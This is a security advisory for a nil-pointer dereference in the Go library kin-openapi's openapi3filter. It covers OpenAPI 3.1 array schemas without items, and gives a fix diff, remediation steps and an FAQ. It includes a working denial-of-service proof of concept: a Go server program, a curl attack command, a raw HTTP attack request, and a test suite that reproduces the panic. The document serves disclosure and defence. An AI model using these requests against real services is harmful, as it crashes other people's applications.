GHSA-p6wj-qrr4-pgh5: Null Pointer Dereference

Published Oct 15, 2026
·
Updated

Summary

A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.

Details

Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().

Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):

go case propType.Is("array"): items := propSchema.Value.Items.Value // Items == nil → panic

This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).

The same nil Items also crashes:

| Path | Location | Trigger | |---|---|---| | MultipartBodyDecoder | reqrespdecoder.go ~1564 → 1579 | multipart/form-data part named like the array property | | parseArray → parsePrimitive | reqrespdecoder.go ~1129 / 1151 | Array-typed response headers via ValidateResponse, and path/cookie array params |

Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.

Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:

diff case propType.Is("array"): + if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { + return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName) + } items := propSchema.Value.Items.Value

Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.

PoC

Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.

1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:

yaml openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:

go package main

import ( "fmt" "log" "net/http" "strings"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )

const spec = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { log.Fatal(err) } if err := doc.Validate(loader.Context); err != nil { log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err) } fmt.Println("SPECACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value. Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)

router, err := gorillamux.NewRouter(doc) if err != nil { log.Fatal(err) }

// Direct call (no net/http recover): proves the library itself panics. req, := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pp, := router.FindRoute(req) func() { defer func() { if r := recover(); r != nil { fmt.Printf("DIRECTPANIC: %v\n", r) } }() = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Println("DIRECTPANIC: none (unexpected)") }()

mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r http.Request) { route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, err.Error(), http.StatusNotFound) return } err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) , = w.Write([]byte("ok\n")) })

addr := "127.0.0.1:8085" fmt.Printf("listening on http://%s/f\n", addr) fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f") log.Fatal(http.ListenAndServe(addr, mux)) }

3. Observed output (go run .):

SPECACCEPTED; Items == <nil> DIRECTPANIC: runtime error: invalid memory address or nil pointer dereference listening on http://127.0.0.1:8085/f

Then:

curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f

Server log:

http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference … openapi3filter.UrlencodedBodyDecoder …/reqrespdecoder.go:1421 … openapi3filter.ValidateRequest …

Stack pins the fault to UrlencodedBodyDecoder at reqrespdecoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.

Attack request:

POST /f HTTP/1.1 Host: victim Content-Type: application/x-www-form-urlencoded

tags=a

(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)

4. Regression / multi-surface test suite — save as e.g. openapi3filter/arrayitemsnilpanictest.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:

go package openapi3filtertest

import ( "bytes" "context" "fmt" "io" "mime/multipart" "net/http" "net/http/httptest" "strings" "testing"

"github.com/stretchr/testify/require"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )

const urlencodedSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

const urlencodedSpec30 = openapi: 3.0.3 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

const multipartSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}

const responseHeaderSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /hdr: get: responses: '200': description: ok headers: X-Tags: schema: {type: array}

func catchPanic(fn func()) (panicValue any) { defer func() { panicValue = recover() }() fn() return nil }

func TestArrayItemsNilPanicOpenAPI31Accepts(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content. Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value require.True(t, schema.Type.Is("array")) require.Nil(t, schema.Items) }

func TestArrayItemsNilPanicOpenAPI30Rejects(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec30)) require.NoError(t, err) require.Error(t, doc.Validate(loader.Context)) }

func TestArrayItemsNilPanicUrlencodedValidateRequest(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err)

got := catchPanic(func() { = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }

func TestArrayItemsNilPanicMultipartValidateRequest(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(multipartSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

var buf bytes.Buffer w := multipart.NewWriter(&buf) require.NoError(t, w.WriteField("tags", "a")) require.NoError(t, w.Close())

req, err := http.NewRequest(http.MethodPost, "/upload", &buf) require.NoError(t, err) req.Header.Set("Content-Type", w.FormDataContentType()) route, pathParams, err := router.FindRoute(req) require.NoError(t, err)

got := catchPanic(func() { = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }

func TestArrayItemsNilPanicResponseHeaderValidateResponse(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(responseHeaderSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

req, err := http.NewRequest(http.MethodGet, "/hdr", nil) require.NoError(t, err) route, pathParams, err := router.FindRoute(req) require.NoError(t, err)

got := catchPanic(func() { = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{ RequestValidationInput: &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }, Status: http.StatusOK, Header: http.Header{"X-Tags": []string{"a,b"}}, Body: io.NopCloser(strings.NewReader("")), }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }

func TestArrayItemsNilPanicE2EHTTPServer(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

var panicCount int mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r http.Request) { defer func() { if recover() != nil { panicCount++ http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError) } }() route, pathParams, err := router.FindRoute(r) require.NoError(t, err) err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) })

srv := httptest.NewServer(mux) t.Cleanup(srv.Close)

const n = 5 for i := 0; i < n; i++ { resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a")) require.NoError(t, err) , = io.ReadAll(resp.Body) = resp.Body.Close() require.Equal(t, http.StatusInternalServerError, resp.StatusCode) } require.Equal(t, n, panicCount) }

func TestArrayItemsNilPanicDeterministic(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

const attempts = 50 panics := 0 for i := 0; i < attempts; i++ { req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err) if catchPanic(func() { = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) != nil { panics++ } } require.Equal(t, attempts, panics) }

Observed results on the vulnerable tree:

- 3.1 accepts the schema (Items == nil); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with nil pointer dereference - 50/50 panic rate (100% deterministic) - E2E httptest server: 5/5 POSTs panic inside ValidateRequest → HTTP 500

Impact

- Type: NULL Pointer Dereference → unauthenticated remote denial of service. - Who is impacted: applications using github.com/getkin/kin-openapi/openapi3filter to validate requests/responses against OpenAPI 3.1 documents that contain an items-less type: array in a urlencoded or multipart body property, or an array-typed response header (or other parseArray surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — doc.Validate() does not reject them under 3.1. - Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body. - Consequence: deterministic panic on every request to the operation. With stock net/http, the server logs http: panic serving and aborts the connection; without per-request recover (common outside pure net/http handlers), the process can crash. - Not affected: OpenAPI 3.0 documents (spec validation rejects missing items); JSON request bodies (different decoder path that does not hit this Items.Value inspection).

Affected Software

1 affected componentFixes available
go/github.com/getkin/kin-openapi>=0.136.0<0.143.0
0.143.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/getkin/kin-openapi to a version that resolves this vulnerability.

    Fixed in 0.143.0
  2. Compensating control

    In openapi3filter, guard against nil Items and Items.Value before dereferencing them, and return a structured decode/validation error such as "unsupported schema of request body's property %q: array items required for decoding". Apply equivalent guards in UrlencodedBodyDecoder, MultipartBodyDecoder, and parseArray before calling parsePrimitive.

Event History

Oct 15, 2026
Advisory Published
via GitHub·08:14 PM
Data Sourced
via GitHub·08:14 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this denial-of-service condition?

Applications using github.com/getkin/kin-openapi's openapi3filter request or response decoding for an OpenAPI 3.1 operation are exposed when that operation declares an array schema without items. OpenAPI 3.0 schemas are not affected by this specific validation asymmetry because validation rejects arrays missing items.

2

What does an attacker need to exploit it?

An attacker needs only network access to send a single HTTP request to an affected operation; no authentication, privileges, or user interaction are required. The panic occurs deterministically on every request to that operation.

3

Does exploitation always terminate the application process?

Not necessarily. openapi3filter has no recover mechanism, so the process can exit when the surrounding handler does not provide per-request panic recovery.

4

How can I identify affected API definitions?

Review OpenAPI 3.1 operation request and response schemas for type: array declarations that omit items. A successful doc.Validate() does not rule out exposure because such schemas are accepted under OpenAPI 3.1.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203